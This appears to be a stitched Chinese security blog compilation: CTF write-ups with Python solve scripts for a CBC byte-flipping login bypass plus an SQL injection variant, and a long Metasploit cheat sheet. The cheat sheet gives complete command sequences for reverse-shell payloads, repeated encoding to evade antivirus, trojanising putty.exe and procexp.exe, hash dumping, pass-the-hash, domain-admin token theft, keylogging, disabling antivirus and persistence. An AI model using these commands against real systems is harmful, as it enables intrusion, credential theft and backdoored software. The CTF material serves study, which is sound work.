<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

我已经在其中做出详细的注释
首先从入口开始验证post是否传参username和password,这里要求传入的用户名不能为admin。

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
//post传参不能为admin
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}

接着对传入参数序列化,接着对起进行一次CBC加密,得到了COOKIE值iv和cipher,以及session值username,对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值,但是这里又要传入的username参数为admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
//进行CBC模式的AES解密
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
//对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

所以我们利用CBC翻转字节,传入Admin绕过过滤,再在加密过程中将A翻转为a,通过验证。
修改代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib,base64,requests,re

url = "http://*.*.*.*/index.php"
datas = {
"username" : "Admin",
"password" : "test"
}
#第一组明文:a:2:{s:8:"userna
#第二组明文:me";s:5:"admin";
#第三组明文:s:8:"password";s
#第四组明文::4:"test";}
#修改过程
r = requests.post(url,data=datas)
cipher = r.cookies.get("cipher")#获取初始密文
cipher = base64.b64decode(urllib.unquote(cipher))
offset = 9
new_cipher = cipher[:offset] + chr(ord(cipher[offset])^ord("A")^ord("a")) + cipher[offset+1:]#字节翻转
new_cookies = requests.utils.dict_from_cookiejar(r.cookies)
new_cookies["cipher"] = urllib.quote_plus(base64.b64encode(new_cipher))
#修复过程
r2 = requests.get(url,cookies=new_cookies)
#获得损坏的第一段明文
plain = base64.b64decode(re.findall("decode('(.*)')",r2.text)[0])
iv = base64.b64decode(urllib.unquote(new_cookies["iv"]))
old = plain[:len(iv)]
new = 'a:2:{s:8:"userna'
new_iv = "".join([chr(ord(iv[i])^ord(old[i])^ord(new[i])) for i in xrange(16)])
new_cookies["iv"] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=new_cookies)
print(r3.text)

最后将修改的iv和cipher设为cookies得到flag

CBC翻转字节攻击属于密码学的题目,关键是理解加密解密过程和异或操作,后面还遇到了翻转攻击与SQL注入的结合题型,值得继续了解。。。

Metasploit 整理笔记

一.名词解释

exploit

测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的有内存溢出,网站程序漏洞利用,配置错误exploit。

payload

我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只能在目标机器上执行有限命令的程序 。

shellcode

是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可执行命令的shell。

module

MSF 的模块,由一系列代码组成。

listener

等待来自被攻击机器的incoming连接的监听在测试者机器上的程序

二. 编码器

msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集

1、攻击第一步:基础信息收集

①whois 查询:
msf > whois example.com
msf> whois 192.168.1.100

②在线手机服务器IP工具

③nslookup
set type=mx
example.com

2、用nmap 探测开放端口和服务:

-sS SYN 半开扫描
-sT TCP 半开扫描
-Pn 不使用ping方式探测主机
-A 探测服务类型
-6 开启IPV6 扫描
-O 探测操作系统版本

常用扫描参数组合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111

3、MSF 与postgresql 协同工作

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
导入nmap 扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml

msf> db_import Subnet1.xml

msf> db_hosts –c address #查看导入的主机IP
(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql:
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库
mysql 默认密码toor,使用db_connect连接时会自动创建msf3 库)

4、高级扫描方式:

①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run (RHOSTS、RPORT 等参数也可以用小写)
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155
③nmap 连接数据库:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果
④使用portscan 模块:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

5、特定扫描:

smb_version 模块:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql 主机:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SSH 服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run

FTP 主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

扫描FTP 匿名登录:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫描SNMP 主机:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

四.基本漏洞扫描

1、使用nc与目标端口通信,获取目标端口的信息:

nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1
(1:还有一个功能与nc 类似的工具Ncat,产自nmap 社区,可实现相同功能:
ncat -C 192.168.1.111 80
GET / HTTP/1.0

2:题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就可以聊天了:服务器(chatserver):ncatncat -l –chat 其他客户端:ncat chatserver

3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据:
服务器(server.example.com)上:
ncat -l –keep-open 80 –output caidao.log > /dev/null
然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log里面了。也可以导出为hex格式,–output 换为–hex-dump就可以了。

4:其实与nc 功能类似的工具在kali里面还有很多,比如还有一个sbd:
监听:sbd -l -p 12345
连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat的不同之处在于ncat 自动对用户编号user1、user2、…,而sbd可以自定义昵称,且不需要专门单独监听为聊天服务器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil

6:其实nc 也可以用来聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345)

3、与nessus 结合扫描:

使用Nessus 扫描完成后生成.nessus格式的报告,导入到MSF:
db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns
在MSF 中使用Nessus:
db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list #查看扫描结果
nessus_report_get skjla243-3b5d-* #导入报告
db_hosts –c address,svcs,vulns

4、特殊扫描:

SMB 弱口令:
msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run

VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run

Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run

当扫描到此漏洞的主机后可以使用xspy工具来监视对方的键盘输入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100

五.基础溢出命令

1、基本命令:

查看可用溢出模块show exploits
查看辅助模块show auxiliary 包括扫描器,拒绝服务模块,fuzzer 工具或其他
查看可用选项show options

加载模块后退出此模块back
例子:
msf> use windows/smb/ms08_067_netapi
back

搜索模块search
例子: searh mssql search ms08_067
查看当前模块可用的payload: show payloads
例子:
use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options
查看可选的目标类型show targets
查看更多信息info
设置一个选项或取消设置set/unset
设置或取消全局选项setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置
保存全局选项的设置save 当下次启动仍然生效
查看建立的session sessions –l
激活session sessions –i num #num 为session 编号

2、暴力端口探测:

当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf将对目标的所有端口进行尝试,直到找到一个开放端口并与测试者建立连接。
例子:
use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese -Simplified (NX)
search ports #搜索与ports 相关模块
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j #作为后台任务运行
sessions –l –v
sesssions –i 1

3、MSF 脚本文件:

为了缩短测试时间可以将msf命令写入一个文件,然后在msf 中加载它。加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项

六.METERPRETER

1、当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。

例子:
msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit
至此可获取服务器名称,版本号等信息。
msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit
暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell 功能添加账户:
msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit
当获取到一个meterpreter shell后可以执行更多的操作:获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录:
meterpreter> ps

#查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter> migrate 1668 #插入该进程
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,将击键记录保存到本地txt
cat /root/.msf3/loot/*.txt #查看结果

获取系统账号密码:
meterpreter> use priv
meterpreter> run post/windows/gather/hashdump
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash 登陆,需要使用pass-the-hash 技术 :
msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:

在目标机器上执行:net uaer hacker pass /add
本地生成一个后门程序:
msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe
将payload.exe拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid
至此取得SYSTEM 权限

2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380
meterpreter> steal_token 380
有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可用token:
meterpreter> use incognito
meterpreter> list_tokens –u #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:

例子:
meterpreter> run get_local_subnets #查看网段/子网
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP
set LPORT 8080
set RHOST 192.168.33.132 #内网目标主机
exploit
也可以使用自动式添加路由模块:
msf> load auto_add_route
msf> exploit

4、Meterpreter 脚本:

使用run scriptname 方式执行
①vnc 脚本,获取远程机器vnc 界面控制
meterpreter> run vnc
meterpreter> run screen_unlock
②进程迁移
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:
meterpreter> run post/windows/manage/migrate
(在64 位win7 中migrate需要管理员权限执行后门才能成功,而migrate 前后获取的权限是有差异的。)
③关闭杀毒软件
meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。)
④获取系统密码hash
meterpreter> run hashdump
(64 位win7 下需要管理员权限执行后门且先getsystem,然后使用run post/windows/gather/hashdump 来dump hash 成功率更高。而且如果要使用shell 添加系统账户的话win7 下得先:
run post/windows/escalate/bypassuac ,不然可能不会成功。)
⑤获取系统流量数据
meterpreter> run packtrecorder –i 1
⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等
meterpreter> run scraper
⑦持久保持
当目标机器重启之后仍然可以控制
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
-X 开机启动-i 连接超时时间–p 端口–rIP
下次连接时:
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST 整合模块
可实现同时多个session 操作
例子:获取hash
meterpreter> run post/windows/gather/hashdump
其他还有很多,使用TAB 键补全看下就知道run post/

5、升级command shell

例子:
msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #后台运行,如果此处未使用-z参数,后面可以按CTRL-Z 转到后台
sessions –u 1 #升级shell,必须前面使用setg 设定
sessions –i 2

6、使用Railgun 操作windows APIs

例子:
meterpreter> irb

client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
在目标机器上会弹出一个标题栏为world和内容为hello 的窗口

七.避开杀软

1、使用msfpayload 创建可执行后门:

例子:
msfpayload windows/shell_reverse_tcp 0 #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
/var/www/payload1.exe
然后本机监听端口
msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

2、过杀软—使用msfencode 编码后门:

msfencode –l #列出可用编码器
例子:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。

3、多次编码:

例子:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o
/var/www/payload3.exe
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。

4、自定义可执行程序模板:

msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o/var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
在目标机器上运行,然后本地使用msfcli监听端口等待反弹连接:
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
LPORT=8080 E

5、暗度陈仓—猥琐执行payload:

绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
假如选择一个GUI界面的程序作为绑定目标并且不使用-k 选项,则目标执行此程序的时候不会弹出cmd窗口,-k 选项的作用是payload独立于模板软件的进程运行。

实验吧ctf题小计

实验吧ctf题小计

天下武功唯快不破

这道题给出提示
There is no martial art is indefectible, while the fastest speed is the only way for long success.
You must do it as fast as you can!
审查元素发现注释
please post what you find with parameter:key
也就是我们需要post传参一个key值得到flag
bp抓包看一下
image
响应头中有FLAGbase64编码,但是发现每一次请求都会改变base64值,所以我们需要写一个小脚本来快速抓取FLAG解码再post传参

1
2
3
4
5
6
7
8
9
10
11
 # -*- coding: utf-8 -*
import requests
import base64

r= requests.get("http://ctf5.shiyanbar.com/web/10/10.php")
r=r.headers.get('FLAG')
r=base64.b64decode(r)
print r[25:34]
d = {'key':r[25:34]}
r = requests.post("http://ctf5.shiyanbar.com/web/10/10.php", data=d)
print r.text

得到flag: CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

what a fuck!这是什么鬼东西?

打开得到一坨[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!。。。。
这是JSFuck编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
false       =>  ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()

在线网站解码得到flag:Ihatejs

拐弯抹角

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));\\从index.php中读入一个字符串,再讲文件字符串中的flag变量值改变为CTF{???}
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

代码中要求要去访问index.php,但是不能直接使用/indirection/index.php访问,同时过滤了./
、../、大小写绕过、//、文件后的. 、以及必须以/index.php结尾
在网上搜索了一下才知道可以利用伪静态技术,构造url:http://ctf5.shiyanbar.com/indirection/index.php/index.php
相当于服务器将第二个index.php当做参数处理了,服务器就只解析到第一个index.php
flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

简单的登录题

开始随便输入,然后bp抓包,发现tips:test.php
image
访问http://ctf5.shiyanbar.com/web/jiandan/test.php
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");\\想到cbc字节翻转攻击
error_reporting(0);
include('conn.php');
function sqliCheck($str){\\该函数对传入的变量进行过滤,防止SQL注入
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){\\该函数随机生产一个16位iv值
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);\\对传入的数组序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);// 采用aes-128-cbc 方式加密序列化后的plain,返回原始或者base64编码后的字符串
setcookie("iv", base64_encode($iv));//cookie 值为base64编码的iv
setcookie("cipher", base64_encode($cipher));// cookie 值为bas64编码的值cipher
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);// 解码cookie和iv,并解密得到plain
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");\\这里的plain可能有两个值
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))\\过滤非法参数
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

遇到的问题

  • 需要进行SQL注入但是遇到了关键字过滤
    1
    "/\\\|,|-|#|=|~|union|like|procedure/i"
  • SQL查询是id参数后面如何将后面的,0注释掉
  • 见到aes-128-cbc自然想到cbc字节翻转攻击,那么怎么来利用
    参考文章

解决方法

  • 利用%00截断后面的,0
  • 使用cbc翻转将lnion变为union绕过过滤(CBC翻转 关键在,初始化因子 xor 原文 xor 你想的字符串 得到 更改版的初始化因子)
CBC字节翻转攻击

参考文章
加密过程:
image
Plaintext:明文数据

IV:初始向量

Key:分组加密使用的密钥

Ciphertext:密文数据
解密过程:
每组解密时,先进行分组加密算法的解密,然后与前一组的密文进行异或才是最初的明文。

对于第一组则是与IV进行异或。

涉及名词:偏移量、php序列化、aes加密、异或

攻击过程:
对于解密时

设明文为X,密文为Y,解密函数为k。

X[i] = k(Y[i]) Xor Y[i-1]
解密第一组时

X[1]=k(Y[1]) Xor IV

对于X[i]的解密时,X[i] = k(Y[i]) Xor Y[i-1],k(Y[i])部分是无法控制的,假如修改Y[i]的值,是无法确定k(Y[i])的值,由于最后是异或操作,因此可以仅修改Y[i-1]的内容为Y’[i-1]来控制最后的明文的值,设解密后的内容为M[i]=k(Y[i]) Xor Y[i-1]。

将Y[i-1]的值设置为Y[i-1] Xor M[i]的值,新的Y[i-1]的值用Y’[i-1]表示。

那么X[i] = k(Y[i]) Xor Y’[i-1]=k(Y[i]) Xor Y[i-1] Xor M[i] = M[i] Xor M[i] = 0

这样就能将只修改Y[i-1]的内容来控制X[i]的值

而此时X[i-1]的值肯定就会出错了,设修改Y[i-1]的值,导致解密后X[i-1]的值为M[i-1],那么将Y[i-2]的值改为Y[i-2]=Y[i-2] Xor M[i-1] Xor 任意值,可以使得X[i-1]=任意值

这样循环往前,最后一组就是根据M[1]的值修改IV=IV Xor M[1] Xor 任意值,使得X[1]=任意值

对于本题来说,cookie中储存了初始的iv和cipher,我们可以利用bp修改,在本题中也是一样,先获取cipher 对应的cookie,然后字节反转为我们想要的payload,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='sZMYZaZsCxj98IedEp83YeaXgk4TtWPbw6D5mhkzP1I%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print(cipher_new)

这里得到了新的cipher,下面利用返回的密文值和公式 C = A XOR B得到新的iv,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='Ko5zoC%2BklAcyqq%2BqihjbwA%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

上述的两个脚本就可以修改iv, cipher, 将id=12 的情况变成id=1#,最后的查询脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='pcat@chamd5.org'
from base64 import *
import urllib
import requests
import re
# 解码base64,获得iv,cipher的加密值
def mydecode(value):
return b64decode(urllib.unquote(value))
# 转码
def myencode(value):
return urllib.quote(b64encode(value))
# 字节反转:将指定偏移量的字符转换为新的字符
def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)
# 提交payload,获取cookie,并将cookie 解密为iv,cipher,再使用字节反转攻击,使得sql 查询能够成功
def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']
iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]
iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)
# 字节反转,先转换cipher,得到aes加密的密文(非base64加密后得值),再利用异或,求出随机生成得iv
cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)
